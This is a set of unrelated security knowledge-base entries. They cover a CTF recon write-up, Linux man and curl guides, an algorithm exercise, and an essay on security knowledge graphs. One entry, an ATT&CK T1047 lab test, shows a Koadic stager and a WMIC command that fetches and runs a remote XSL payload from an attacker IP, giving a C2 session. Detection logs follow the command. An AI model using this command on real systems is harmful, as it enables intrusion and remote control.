# RealWorld CTF Quals 2019 Team: c7, rev, chivay, Eternal, rodbert, sasza, shalom ### Table of contents * [Bank (crypto)](bank) * [Puzzle (re)](puzzle) * [caidanti flag 1 (re, shellcode)](caidanti_flag_1) * [caidanti flag 2 (pwn)](caidanti_flag_2)
sec-knowleage
# 黑灰产基础设施 黑灰产的对抗,是偏向于业务安全的,乃至关联到针对网络攻击的攻防来说,我们都始终逃不开一个话题:成本。 成本是对抗的本质。技术设施是黑灰产团队实施的攻击的基础,本章节将整理一些黑灰产基础设施相关的内容。 ![](https://image-host-toky.oss-cn-shanghai.aliyuncs.com/20201004153316.png) 图:黑产基础设施,整理自《风控要略》一书
sec-knowleage
man === 查看Linux中的指令帮助 ## 补充说明 **man命令** 是Linux下的帮助指令,通过man指令可以查看Linux中的指令帮助、配置文件帮助和编程帮助等信息。 ### 语法 ```shell man(选项)(参数) ``` ### 选项 ```shell -a:在所有的man帮助手册中搜索; -f:等价于whatis指令,显示给定关键字的简短描述信息; -P:指定内容时使用分页程序; -M:指定man手册搜索的路径。 ``` ### 参数 * 数字:指定从哪本man手册中搜索帮助; * 关键字:指定要搜索帮助的关键字。 ### 数字代表内容 ```shell 1:用户在shell环境可操作的命令或执行文件; 2:系统内核可调用的函数与工具等 3:一些常用的函数(function)与函数库(library),大部分为C的函数库(libc) 4:设备文件说明,通常在/dev下的文件 5:配置文件或某些文件格式 6:游戏(games) 7:惯例与协议等,如Linux文件系统,网络协议,ASCII code等说明 8:系统管理员可用的管理命令 9:跟kernel有关的文件 ``` ### 实例 我们输入`man ls`,它会在最左上角显示“LS(1)”,在这里,“LS”表示手册名称,而“(1)”表示该手册位于第一节章,同样,我们输`man ifconfig`它会在最左上角显示“IFCONFIG(8)”。也可以这样输入命令:“man [章节号] 手册名称”。 man是按照手册的章节号的顺序进行搜索的,比如: ```shell man sleep ``` 只会显示sleep命令的手册,如果想查看库函数sleep,就要输入: ```shell man 3 sleep ``` ### 相关命令 * `tldr`: 简化版的使用手册,并不会像man一样把所有的使用参数和说明都列出来,而是只显示常用的几个使用Sample和说明 * 开源地址: [https://github.com/tldr-pages/tldr/](https://github.com/tldr-pages/tldr/) * 官网: [https://tldr.sh/](https://tldr.sh/) * 在线版本: [https://tldr.ostera.io/](https://tldr.ostera.io/)
sec-knowleage
## Alexander Taylor (recon, 100p, 424 solves) ### PL Version `for ENG version scroll down` Dostajemy link od którego możemy wystartować `http://fuzyll.com/csaw2015/start` Pod linkiem jest pierwsza zagadka: `CSAW 2015 FUZYLL RECON PART 1 OF ?: Oh, good, you can use HTTP! The next part is at /csaw2015/<the acronym for my university's hacking club>.` Odszukujemy informacje o uczelni Alexandra Taylora na podstawie jego profilu na linkedin i jest to University of South Florida. Sprawdzamy jak nazywa się klub komputerowy tej uczelni i URL jego strony zaczyna sie od `wcsc` Przechodzimy więc do `http://fuzyll.com/csaw2015/wcsc` i dostajemy kolejną zagadkę: `CSAW 2015 FUZYLL RECON PART 2 OF ?: TmljZSB3b3JrISBUaGUgbmV4dCBwYXJ0IGlzIGF0IC9jc2F3MjAxNS88bXkgc3VwZXIgc21hc2ggYnJvdGhlcnMgbWFpbj4uCg==` Już na pierwszy rzut oka widać że jest to Base64, które po zdekodowaniu daje nam kolejną zagadkę: `Nice work! The next part is at /csaw2015/<my super smash brothers main>.` Chwila spędzona w google pozwala nam znaleźć filmiki na youtube gdzie postać użytkownika `fuzyll` (a taki nick ma Alexander Taylor) walczy z innymi graczami. Jego postać to Yoshi, przechodzimy więc do: `http://fuzyll.com/csaw2015/yoshi` Gdzie dostajemy z serwera png z yoshim: ![](./yoshi.png) Analiza tego png pozwala nam znaleźć w środku kolejną zagadkę: `SAW 2015 FUZYLL RECON PART 3 OF ?: Isn't Yoshi the best?! The next egg in your hunt can be found at /csaw2015/<the cryptosystem I had to break in my first defcon qualifier` Dalsza część poszukiwań doprowadza nas for informacji że do złamania była `Enigma`. Podążamy więc dalej: `http://fuzyll.com/csaw2015/enigma` Gdzie czeka na nas kolejna zagadka: ``` CSAW 2015 FUZYLL RECON PART 4 OF 5: Okay, okay. This isn't Engima, but the next location was "encrypted" with the JavaScript below: Pla$ja|p$wpkt$kj$}kqv$uqawp$mw>$+gwes6451+pla}[waa[ia[vkhhmj var s = "THIS IS THE INPUT" var c = "" for (i = 0; i < s.length; i++) { c += String.fromCharCode((s[i]).charCodeAt(0) ^ 0x4); } console.log(c); ``` Jak nie trudno zauważyć funkcja "szyfrująca" korzysta jedynie z operacji XOR na stałym kluczu więc do jej odwrócenia wystarczy wykonać identyczną operację po raz drugi. W ten sposób uzyskujemy: `they_see_me_rollin` i przechodzimy do: `http://fuzyll.com/csaw2015/they_see_me_rollin` Gdzie znajduje się poszukiwana przez nas flaga: `CSAW 2015 FUZYLL RECON PART 5 OF 5: Congratulations! Here's your flag{I_S3ARCH3D_HI6H_4ND_L0W_4ND_4LL_I_F0UND_W4S_TH1S_L0USY_FL4G}!` ### ENG Version We get a link to start with: `http://fuzyll.com/csaw2015/start` There we can find the first riddle: `CSAW 2015 FUZYLL RECON PART 1 OF ?: Oh, good, you can use HTTP! The next part is at /csaw2015/<the acronym for my university's hacking club>.` We check Alexander Taylor's university on his linkedin profile and we learn it's University of South Florida. We look for the computer club and its website address starts with `wcsc`. We go to `http://fuzyll.com/csaw2015/wcsc` where we get another riddle: `CSAW 2015 FUZYLL RECON PART 2 OF ?: TmljZSB3b3JrISBUaGUgbmV4dCBwYXJ0IGlzIGF0IC9jc2F3MjAxNS88bXkgc3VwZXIgc21hc2ggYnJvdGhlcnMgbWFpbj4uCg==` At first glance it looks like a `base64` encoding, which decoded gives us another riddle: `Nice work! The next part is at /csaw2015/<my super smash brothers main>.` A while spent with google lets us find some youtube videos where a super smash bros character "fuzyll" (and this is Alexander Taylor's nick) is fighting some other players. His character is `yoshi` so we go to: `http://fuzyll.com/csaw2015/yoshi` Where we get a png with yoshi picture. ![](./yoshi.png) Quick analysis of this png file lets us find another clue: `SAW 2015 FUZYLL RECON PART 3 OF ?: Isn't Yoshi the best?! The next egg in your hunt can be found at /csaw2015/<the cryptosystem I had to break in my first defcon qualifier` Some googling later we find out that it was `Enigma` so we go to: `http://fuzyll.com/csaw2015/enigma` Where another riddle is waiting: ``` CSAW 2015 FUZYLL RECON PART 4 OF 5: Okay, okay. This isn't Engima, but the next location was "encrypted" with the JavaScript below: Pla$ja|p$wpkt$kj$}kqv$uqawp$mw>$+gwes6451+pla}[waa[ia[vkhhmj var s = "THIS IS THE INPUT" var c = "" for (i = 0; i < s.length; i++) { c += String.fromCharCode((s[i]).charCodeAt(0) ^ 0x4); } console.log(c); ``` As can be easily seen the encryption function is a simple XOR with static key and therefore it can be decoded by applying the same operation again. This gives us decoded message: `they_see_me_rollin` so we go to: `http://fuzyll.com/csaw2015/they_see_me_rollin` Where a flag is waiting for us: `CSAW 2015 FUZYLL RECON PART 5 OF 5: Congratulations! Here's your flag{I_S3ARCH3D_HI6H_4ND_L0W_4ND_4LL_I_F0UND_W4S_TH1S_L0USY_FL4G}!`
sec-knowleage
# 10.3 跳台阶 ## 题目链接 [牛客网](https://www.nowcoder.com/practice/8c82a5b80378478f9484d87d1c5f12a4?tpId=13&tqId=11161&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking&from=cyc_github) ## 题目描述 一只青蛙一次可以跳上 1 级台阶,也可以跳上 2 级。求该青蛙跳上一个 n 级的台阶总共有多少种跳法。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/9dae7475-934f-42e5-b3b3-12724337170a.png" width="380px"> </div><br> ## 解题思路 当 n = 1 时,只有一种跳法: <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/72aac98a-d5df-4bfa-a71a-4bb16a87474c.png" width="250px"> </div><br> 当 n = 2 时,有两种跳法: <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/1b80288d-1b35-4cd3-aa17-7e27ab9a2389.png" width="300px"> </div><br> 跳 n 阶台阶,可以先跳 1 阶台阶,再跳 n-1 阶台阶;或者先跳 2 阶台阶,再跳 n-2 阶台阶。而 n-1 和 n-2 阶台阶的跳法可以看成子问题,该问题的递推公式为: <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/508c6e52-9f93-44ed-b6b9-e69050e14807.jpg" width="350px"> </div><br> ```java public int JumpFloor(int n) { if (n <= 2) return n; int pre2 = 1, pre1 = 2; int result = 0; for (int i = 2; i < n; i++) { result = pre2 + pre1; pre2 = pre1; pre1 = result; } return result; } ```
sec-knowleage
# T1047-win-基于白名单WMIC执行payload ## 来自ATT&CK的描述 WMI(Windows Management Instrumentation)是Windows管理功能,它为本地和远程访问windows系统组件提供了统一的环境。它依赖WMI服务来进行本地和远程访问,以及SMB(服务器消息块)和RPCS(远程过程调用服务)来进行远程访问。RPCS通过端口135运行。 攻击者可能会使用WMI与本地和远程系统交互,也可能使用WMI来执行许多策略功能,例如为发现收集信息和远程执行文件来横向移动。 ## 测试案例 WMIC扩展WMI(Windows Management Instrumentation,Windows管理工具),提供了从命令行接口和批命令脚本执行系统管理的支持。在WMIC出现之前,如果要管理WMI系统,必须使用一些专门的WMI应用,例如SMS,或者使用WMI的脚本编程API,或者使用象CIM Studio之类的工具。如果不熟悉C++之类的编程语言或VBScript之类的脚本语言,或者不掌握WMI名称空间的基本知识,要用WMI管理系统是很困难的。WMIC改变了这种情况。 说明:Wmic.exe所在路径已被系统添加PATH环境变量中,因此,Wmic命令可识别,需注意x86,x64位的Wmic调用。 Windows 2003 默认位置: ```dos C:\WINDOWS\system32\wbem\wmic.exe C:\WINDOWS\SysWOW64\wbem\wmic.exe ``` Windows 7 默认位置: ```dos C:\Windows\System32\wbem\WMIC.exe C:\Windows\SysWOW64\wbem\WMIC.exe ``` 补充说明:在高版本操作系统中,可以通过配置策略,对进程命令行参数进行记录。日志策略开启方法:`本地计算机策略>计算机配置>管理模板>系统>审核进程创建>在过程创建事件中加入命令行>启用`,同样也可以在不同版本操作系统中部署sysmon,通过sysmon日志进行监控。 ## 检测日志 windows 安全日志(需要自行配置) ## 测试复现 ### 环境准备 攻击机:Kali2019 靶机:win7 ### 攻击分析 #### Koadic 通过Koadic发起Wmic.exe攻击 koadic是一个命令控制(C2)工具,类似Metasploit和Powershell Empire。使用koadic我们生成恶意XSL文件。koadic安装完成后,您可以运行./koadic 文件以启动 koadic,然后通过运行以下命令开始加载stager/js/wmic 程序,并将 SRVHOST 设置为程序回连IP。 ```bash git clone https://github.com/zerosum0x0/koadic.git #安装命令 cd koadic pip3 install -r requirements.txt ``` ```bash #加载载荷 ./koadic (koadic: sta/js/mshta)# use stager/js/wmic (koadic: sta/js/wmic)# set SRVHOST 192.168.126.146 [+] SRVHOST => 192.168.126.146 (koadic: sta/js/wmic)# run [+] Spawned a stager at http://192.168.126.146:9996/6G69i.xsl [>] wmic os get /FORMAT:"http://192.168.126.146:9996/6G69i.xsl" ``` #### 靶机执行payload 执行 WMIC 以下命令,从远程服务器下载和运行恶意XSL文件: ```cmd wmic os get /FORMAT:"http://192.168.126.146:9996/6G69i.xsl" ``` 靶机测试结果 ```dos C:\Users\12306Br0>wmic os get /FORMAT:"http://192.168.126.146:9996/6G69i.xsl" os get /FORMAT:"http://192.168.126.146:9996/6G69i.xsl"12306BR0-PCroot\cimv2roo t\cliIMPERSONATEPKTPRIVACYms_804ENABLEOFFN/AOFFOFFSTDOUTSTDOUTN/AON\Device\Hardd iskVolume17601Multiprocessor FreeMicrosoft Windows 7 旗舰版 93686Win32_Operating SystemWin32_ComputerSystemService Pack 112306BR0-PC480TRUETRUETRUE2FALSEFALSE256 29608362009844309911620200305144428.000000+48020200305151330.500000+480202004171 72815.995000+4800804Microsoft Corporation-18589934464zh-CNMicrosoft Windows 7 旗 舰版 |C:\Windows|\Device\Harddisk0\Partition2422164-bit205225618TRUE112306Br0004 26-292-0000007-85792102343416OK272\Device\HarddiskVolume2C:\Windows\system32C:44 4004820966326.1.7601C:\Windows ``` #### 反弹shell 一旦恶意的XSL文件在目标计算机上执行,你将有一个僵尸连接,就像Metasploit回连的情况一样。 ```bash [+] Zombie 0: Staging new connection (192.168.126.149) on Stager 0 [+] Zombie 0: 12306Br0-PC\12306Br0 @ 12306BR0-PC -- Windows 7 Ultimate [!] Zombie 0: Timed out. [+] Zombie 0: Re-connected. (koadic: sta/js/wmic)# zombies 0 ID: 0 Status: Alive First Seen: 2020-04-17 17:28:31 Last Seen: 2020-04-17 17:29:04 Listener: 0 IP: 192.168.126.149 User: 12306Br0-PC\12306Br0 Hostname: 12306BR0-PC Primary DC: Unknown OS: Windows 7 Ultimate OSBuild: 7601 OSArch: 64 Elevated: No User Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Session Key: 02149f1202e3437ab7932672c0c9e6b5 JOB NAME STATUS ERRNO ---- --------- ------- ------- ``` ## 测试留痕 ```log #sysmon日志 EventID: 1 Image: C:\Windows\System32\wbem\WMIC.exe FileVersion: 6.1.7600.16385 (win7_rtm.090713-1255) Description: WMI Commandline Utility Product: Microsoft® Windows® Operating System Company: Microsoft Corporation OriginalFileName: wmic.exe CommandLine: wmic os get /FORMAT:"http://192.168.126.146:9996/6G69i.xsl" #win7安全日志 EventID:4688 进程信息: 新进程 ID: 0x888 新进程名: 'C:\Windows\System32\wbem\WMIC.exe' ``` ## 检测规则/思路 无具体检测规则。 ## 相关TIP [[T1047-win-通过WMIC创建远程进程]] ## 参考推荐 MITRE-ATT&CK-T1047:<https://attack.mitre.org/techniques/T1047/> windows下基于白名单获取shell的方法整理(上):<http://www.safe6.cn/article/155>
sec-knowleage
# 黑灰研究案例 此章节专门记录一些公开的黑灰产研究案例 ## 事件追踪 - 东南亚博彩行业浮世绘,道尽黑产从业百态, 2020-04-02 By 红雨滴团队 https://ti.qianxin.com/blog/articles/southeast-asian-gaming-industry-research-report/ ## 黑灰产团伙 - 金钻狗团伙(DiamondDog)
sec-knowleage
# 知识图谱及其在安全领域的应用 ## 1. 知识图谱是什么? ### 1.1 知识(Knowledge)是什么? 知识图谱(Knowledge Graph)正如其名,其本质是为了**表示知识**[1]。那么知识是该如何定义呢?我们来看一下维基百科中的定义: > 知识是对某个主题确信的认识,并且这些认识拥有潜在的能力为特定目的而使用。意指透过经验或联想,而能够熟悉进而了解某件事情;这种事实或状态就称为知识,其包括认识或了解某种科学、艺术或技巧。此外,亦指透过研究、调查、观察或经验而获得的一整套知识或一系列资讯。 可以从这块相对抽象的定义里得到一个主观的感受,那就是知识是一种认知,其既是一种事实,也是一种状态。比如,“我会加减乘除”是一种事实也是在表述我通过学习和实践,使得现在已经掌握这项技能的一种状态。并且这种认知是相对复杂的,有从时间变化的纵向维度,也有涉及到关系、概念、实践等等横向维度的变化。但不变的是,知识是有一个主题的,以及由主题衍生出来的各个“属性”组成,类似于树状结构,这一棵树,就是一条知识。 如果用官方一点的定义呢,每条知识是表示为一个SPO三元组,即Subject(主体)——Predicate(谓语)——>Object(客体)[1]。 那个回到“表示知识”这个关键点,我们创造出知识图谱这个概念,就是为了帮助我们更快、更好地用来表示出多条独立的“知识”。更进一步说,知识图谱就是用来组织和描述SPO三元组的。 那么如何描述呢?请看下一部分 ### 1.2 如何描述三元组? 前面我们介绍了知识的概念和SPO三元组,我们已经知道了,知识图谱是一条条知识组成的,一条条知识又是三元关系(Subject——Predicate——>Object)组成的,那么问题就来了,如何描述这个三元关系呢? #### 使用RDF来表示 在知识图谱中,我们用RDF形式化地表示这种三元关系。[1] 从定义上来看,RDF(Resource Description Framework),即资源描述框架,是W3C制定的,用于描述实体/资源的标准数据模型。[1] 为什么我们描述知识要用“Web”的形式去描述呢?因为网络、Web中的各项关系,其实和知识的抽象概念很像,这是一种即像树,又像网的东西。 有唯一确定主体、有连接属性的谓语、有明确属性值。 那么RDF框架下,对三元组是如何具体定义的呢?我们先来了解一下RDF图中定义的三种类型:International Resource Identifiers(IRIs),blank nodes 和 literals[1]。RDF通过定义出来的这三种属性对SPO三元组进行约束: > 1. Subject可以是IRI或blank node。 > 2. Predicate是IRI。 > 3. Object三种类型都可以。 可以看到,主体必须是能唯一表示的,或者干脆就是匿名资源(Blank Node,这个概念可以向外引申,在这里可以先忽略)。唯一表示就会用到IRI,相当于是URL和URI的推广[1],用于唯一定义一个实体或是资源。(说白了,就是我们要通过一个确定的方式来找到唯一的它) 谓语也是要唯一表示的,就像你都不知道要和另一个人建立什么关系,你又怎么能跑过去说我们在一起吧。这个“在一起的两个人“这个关系描述得就太模糊,不能唯一确定。举个例子,两个男的可以是朋友、可以是仇人也可以是情侣。 那我们整理一下RDF定义三种类型的用处: - IRI —— 在整个网络或者图中唯一定义了一个实体/资源 - blank node —— 没有IRI和literal的资源,或者说匿名资源[1],暂不详细分析 - literal —— 字面量,可以看作是带有数据类型的纯文本 回到刚刚那个例子,架设有两个男人一个为A,一个为B,我们的主体Subject是男人A,我们给他一个IRI:`www.man-a/relation`;我们的谓语是表示与主体是朋友的关系,我们给他一个带有prefix的IRI:`kg:firiends`;然后我们的客体就是男人B的名字,我们给他一个字面量:`man-b`。 那么这个描述两个男人间朋友关系的这个知识就可以表述为:`www.man-a/relation` ——`kg:firiends`——`man-b`。 是不是一下子就很清楚了。这就是RDF的作用,使用标准数据模型的方式来进行资源描述。 #### 使用属性图来表示 介绍完RDF来表示关系,是不是感觉略有一点复杂,确实,这种方式比较严谨,更贴近知识图谱原始的定义。但实际在工业界应用过程中,还是会有相当多的场景会选择用**属性图(Property Graph)**的形式来描述“关系”。那么下面我们来介绍一下属性图的方式。 属性图(Property Graph)的逻辑其实特别好理解,就是主体会和很多客体有关系,比如主体是一个普通人A的话,他会有手机号、会有性别、会有家人,这些就是他的客体。而他和他的手机号之间,就是“拥有”的关系、他和他的父亲,就是父子关系,这种关系就是主体和客体的关系。以上三种,主体、关系、客体,都可以有相应的属性。例如普通人A,属性可以是他的名字(也可以成为一种主客体关系);他和他的手机号之间是拥有的关系,“拥有”关系可以有属性“何时拥有”、”如何拥有“等;手机号也可以有属性,比如归属的运营商名字等等。 这种同样描述主客体关系,但**支持实体或关系拥有属性的方式**,就称为属性图表示。 ### 1.3 从知识到知识图谱 我们从知识的定义讲到了如何表示使用RDF定义单条知识,那么知识图谱的具体形象就呼之欲出了,知识图谱就是有多条知识组成的树状或网状结构,总体来说是图的结构。 主体必须唯一确定,谓语需要清楚描述,客体可以是另一条“子知识“也可以是字面量(也就是带数据类型的纯文本)。 以下是一个使用RDF描述的知识图谱,可以看到其通过RDF标准来表示出了单条的知识以及总体的关系: ![](https://image-host-toky.oss-cn-shanghai.aliyuncs.com/20200926101327.png) 图:罗纳尔多知识图谱[1] 以下是一个由属性图来表示的知识图谱,注意其支持实体或关系拥有属性,而RDF形式的就不支持: ![](https://image-host-toky.oss-cn-shanghai.aliyuncs.com/20200926135943.png) 图:一个简单的属性图[2] 其实更严谨地说,这两种不同的描述关系的方式,其实也是代表了两种知识图谱的存储方式: - 基于RDF存储的形式 - 基于图数据库的存储 以下是两者之间的比较: ![](https://image-host-toky.oss-cn-shanghai.aliyuncs.com/20200926140846.png) 图:RDF和图数据库方式的比较[2] ### 1.4 知识图谱的作用 > 知识图谱提供了从“关系”的角度去分析问题的能力。 知识图谱这个概念最早由Google提出,主要是用来优化现有的搜索引擎。 不同于基于关键词搜索的传统搜索引擎,知识图谱可用来更好地查询复杂的关联信息,从语义层面理解用户意图,改进搜索质量。[2] 从这个概念上来说,知识图谱主要解决的问题是一个**复杂关联信息**的查询和表示。那么我们来看看它的应用需求应该是如何的,换句话说,就是什么样的情况下,我们可以考虑采用知识图谱: ![](https://image-host-toky.oss-cn-shanghai.aliyuncs.com/20200926142834.png) 图:对采用知识图谱的需求分析 ## 2. 在安全领域的应用 ### 2.1 安全知识图谱 > 安全知识图谱(Cyber Security Knowledge Graph)是知识图谱在[网络安全](https://cloud.tencent.com/product/ns?from=10680)领域的实际应用,包括基于本体论构建的安全知识本体架构,以及通过威胁建模等方式对多源异构的网络安全领域信息( Heterogeneous Cyber Security Information)进行加工、处理、整合,转化成为的结构化的智慧安全领域知识库。[3] 上面说到了知识图谱的作用,我们再回顾一下,知识图谱可以解决复杂关系信息的查询和表示。因此,在安全领域,我们在进行应用的时候,同样要考虑以下几点: - 是否有强烈可视化需求? - 是否有较高的语义分析需求? - 是否本事拥有海量的多源异构数据,且存在一定的信息孤岛问题? - 是否有对关系进行深入搜索、挖掘、分析的需求? - 是否有资源和能力去搭建系统,并且能进行运营? 其实思考这几个问题的时候,我们的需求和对应的应用场景,有经验的同学应该就比较清晰了。知识图谱需要解决的问题,它的应用,主要是: - 从海量数据中挖掘、表示威胁的实体相关信息 - 提高威胁分析的效率,从关系出发去挖掘事件(Incident)、表示事件 - 对于基于语义分析的威胁发现具有相对的优势 因此,我们也可以用一句话来说明安全知识图谱的作用:从威胁实体和实体关系的视角出发,主要针对多源异构数据,利用语义分析的特点,识别威胁以及对威胁进行评估。 以下是一个用安全知识图谱表示的永恒之蓝攻击防御场景: ![](https://image-host-toky.oss-cn-shanghai.aliyuncs.com/20200926145332.png) 图:利用知识图谱构建攻击场景[4] ### 2.2 从需求到应用 #### 2.2.1 分析需求 ##### 偏向于事件分析 知识图谱的关键点在于对“关系”的描述。对于事件来说,我们需要一个更高纬度的知识表达,主要来说,可以主要从这几个方面出发:威胁主体、攻击方法、资产、隐患和防御手段[4]。 使用基于属性图的知识图谱构建,我们需要定义好主客体的关系以及三者各自的属性;使用基于RDF的知识图谱构建,我们需要更加关注于严格的推理关系、将属性的表达用确定的关系谓语代替。 ##### 偏向于情报分析 对于情报分析来说,我们很多时候不是要关注自己怎么样,而是要关注对手怎么样,所以知识图谱在安全情报分析中的应用,主要的关注于: - 对手是谁(Who):包括威胁行为体,赞助商和雇主 - 对手使用什么(What):包括他们的能力和基础设施 - 对手的行动时(When):确定行动的时间表和规律 - 对手的目的(Why):包括他们的动机和意图 - 对手的目标行业和地理区域(Where):详细说明行业,垂直行业和地理区域 - 对手如何运作(How):关注于他们的行为和规律 以上的5W1H[5]可以作为安全情报知识图谱构建时的参考,例如使用基于属性图的知识图谱构建,我们可以这样去构建: - 威胁行为体作为Subject,赞助商和雇主可以作为其属性(Property) - 基础设施作为威胁行为体的Object,用“自身拥有”或是”非法占用“来描述他们的关系(Predicate) - ... ##### 偏向于特定威胁分析 在这边我对它的定义主要用于分析某种特定恶意行为。这种特定的恶意行为需要有较明确,且相对唯一的攻击链。例如,我们可以把对恶意钓鱼邮件的攻击视为一种特定威胁,我们对恶意钓鱼邮件的分析,从规则、模型到专家经验转换等等,都是在对其进行特定威胁的分析。 从另一方面来说,一种特定的技战术组合也可以称为一种特定威胁,因为它的杀伤链也相对固定,对于这部分的知识图谱构建,可以帮助我们从整体角度观察威胁。 #### 2.2.2 展示需求 也许部分同学一看到展示需求,心里就会冒出来“大屏”、“给领导看的”、“没啥用”这些想法,虽然这确实也是一种现象,但我们也应该好好考虑一下这部分。 因为做安全的最终目的,还是说为了提高总体的安全能力,这个安全能力小到个人水平,大到国家安全。我们实际点讲,怎么才能提高企业的安全呢?企业安全由于其复杂性,不是某一方向上的技术很酷就能起到提高整日安全能力的。 企业安全的关键还是在于从检测——分析——响应——优化的闭环。这个闭环是关键,而这个闭环中,所要参与到的各个部门、乃至同部门的各个方向、同个方向上的各个人员,他们的先验知识都是不一样的。我们使用知识图谱进行展示的本意,是为了**结构化地表达知识**。从而降低闭环中各个环节的成本。这个成本包含很多方面,有时连沟通成本也是。 ## 3. 总结 本文主要是学习和整理了知识图谱的相关概念,以及对其在安全领域的应用做了一个简单的分析。这块仍是处于一个探索阶段,还是有许多新的思路和落地方案需要补充。欢迎各位师傅批评指正! ## References \[1] 为什么需要知识图谱?什么是知识图谱?——KG的前世今生, [SimmerChan](https://www.zhihu.com/people/simmerchan), https://zhuanlan.zhihu.com/p/31726910 \[2] 这是一份通俗易懂的知识图谱技术与应用指南, https://www.jiqizhixin.com/articles/2018-06-20-4 \[3] 安全知识图谱助力内部威胁识别, [绿盟科技研究通讯](https://cloud.tencent.com/developer/user/6803452), https://cloud.tencent.com/developer/article/1556641 \[4] 【RSA2018】创新沙盒 | AWAKE SECURITY基于机器学习的安全分析平台, [刘威歆](http://blog.nsfocus.net/author/liuweixin/), http://blog.nsfocus.net/rsa2018-awake-security/ \[5] 从现状看威胁情报发展趋势,e1knot,https://zhuanlan.zhihu.com/p/183993203
sec-knowleage
curl === 利用URL规则在命令行下工作的文件传输工具 ## 补充说明 **curl命令** 是一个利用URL规则在命令行下工作的文件传输工具。它支持文件的上传和下载,所以是综合传输工具,但按传统,习惯称curl为下载工具。作为一款强力工具,curl支持包括HTTP、HTTPS、ftp等众多协议,还支持POST、cookies、认证、从指定偏移处下载部分文件、用户代理字符串、限速、文件大小、进度条等特征。做网页处理流程和数据检索自动化,curl可以助一臂之力。 ### 语法 ```shell curl(选项)(参数) ``` ### 选项 ```bash -a --append # 上传文件时,附加到目标文件 -A --user-agent # 设置用户代理发送给服务器 -anyauth # 可以使用“任何”身份验证方法 -b --cookie # cookie字符串或文件读取位置      --basic # 使用HTTP基本验证 -B --use-ascii # 使用ASCII /文本传输 -c --cookie-jar # 操作结束后把cookie写入到这个文件中 -C --continue-at # 断点续传 -d --data # HTTP POST方式传送数据      --data-ascii # 以ascii的方式post数据      --data-binary # 以二进制的方式post数据      --negotiate # 使用HTTP身份验证      --digest # 使用数字身份验证      --disable-eprt # 禁止使用EPRT或LPRT      --disable-epsv # 禁止使用EPSV -D --dump-header # 把header信息写入到该文件中      --egd-file # 为随机数据(SSL)设置EGD socket路径      --tcp-nodelay # 使用TCP\_NODELAY选项 -e --referer # 来源网址 -E --cert # 客户端证书文件和密码 (SSL)      --cert-type # 证书文件类型 (DER/PEM/ENG) (SSL)      --key # 私钥文件名 (SSL)      --key-type # 私钥文件类型 (DER/PEM/ENG) (SSL)      --pass # 私钥密码 (SSL)      --engine # 加密引擎使用 (SSL). "--engine list" for list      --cacert # CA证书 (SSL)      --capath # CA目录 (made using c\_rehash) to verify peer against (SSL)      --ciphers # SSL密码      --compressed # 要求返回是压缩的形势 (using deflate or gzip)      --connect-timeout # 设置最大请求时间      --create-dirs # 建立本地目录的目录层次结构      --crlf # 上传是把LF转变成CRLF -f --fail # 连接失败时不显示http错误      --ftp-create-dirs # 如果远程目录不存在,创建远程目录      --ftp-method \[multicwd/nocwd/singlecwd] # 控制CWD的使用      --ftp-pasv # 使用 PASV/EPSV 代替端口      --ftp-skip-pasv-ip # 使用PASV的时候,忽略该IP地址      --ftp-ssl # 尝试用 SSL/TLS 来进行ftp数据传输      --ftp-ssl-reqd # 要求用 SSL/TLS 来进行ftp数据传输 -F --form # 模拟http表单提交数据      --form-string # 模拟http表单提交数据 -g --globoff # 禁用网址序列和范围使用{}和\[] -G --get # 以get的方式来发送数据 -H --header # 自定义头信息传递给服务器      --ignore-content-length # 忽略的HTTP头信息的长度 -i --include # 输出时包括protocol头信息 -I --head # 只显示请求头信息 -j --junk-session-cookies # 读取文件进忽略session cookie      --interface # 使用指定网络接口/地址      --krb4 # 使用指定安全级别的krb4 -k --insecure # 允许不使用证书到SSL站点 -K --config # 指定的配置文件读取 -l --list-only # 列出ftp目录下的文件名称      --limit-rate # 设置传输速度      --local-port # 强制使用本地端口号 -m --max-time # 设置最大传输时间      --max-redirs # 设置最大读取的目录数      --max-filesize # 设置最大下载的文件总量 -M --manual # 显示全手动 -n --netrc # 从netrc文件中读取用户名和密码      --netrc-optional # 使用 .netrc 或者 URL来覆盖-n      --ntlm # 使用 HTTP NTLM 身份验证 -N --no-buffer # 禁用缓冲输出 -o --output # 把输出写到该文件中 -O --remote-name # 把输出写到该文件中,保留远程文件的文件名 -p --proxytunnel # 使用HTTP代理      --proxy-anyauth # 选择任一代理身份验证方法      --proxy-basic # 在代理上使用基本身份验证      --proxy-digest # 在代理上使用数字身份验证      --proxy-ntlm # 在代理上使用ntlm身份验证 -P --ftp-port # 使用端口地址,而不是使用PASV -q # 作为第一个参数,关闭 .curlrc -Q --quote # 文件传输前,发送命令到服务器 -r --range # 检索来自HTTP/1.1或FTP服务器字节范围 --range-file # 读取(SSL)的随机文件 -R --remote-time # 在本地生成文件时,保留远程文件时间      --retry # 传输出现问题时,重试的次数      --retry-delay # 传输出现问题时,设置重试间隔时间      --retry-max-time # 传输出现问题时,设置最大重试时间 -s --silent # 静默模式。不输出任何东西 -S --show-error # 显示错误      --socks4 # 用socks4代理给定主机和端口      --socks5 # 用socks5代理给定主机和端口      --stderr #   -t --telnet-option # Telnet选项设置      --trace # 对指定文件进行debug      --trace-ascii # Like --跟踪但没有hex输出      --trace-time # 跟踪/详细输出时,添加时间戳 -T --upload-file # 上传文件      --url <url> # 要使用的 URL -u --user # 设置服务器的用户和密码 -U --proxy-user # 设置代理用户名和密码 -w --write-out \[format] # 什么输出完成后 -x --proxy # 在给定的端口上使用HTTP代理 -X --request # 指定什么命令 -y --speed-time # 放弃限速所要的时间,默认为30 -Y --speed-limit # 停止传输速度的限制,速度时间 ``` ### 实例 #### **文件下载** curl命令可以用来执行下载、发送各种HTTP请求,指定HTTP头部等操作。如果系统没有curl可以使用`yum install curl`安装,也可以下载安装。curl是将下载文件输出到stdout,将进度信息输出到stderr,不显示进度信息使用`--silent`选项。 ```shell curl URL --silent ``` 这条命令是将下载文件输出到终端,所有下载的数据都被写入到stdout。 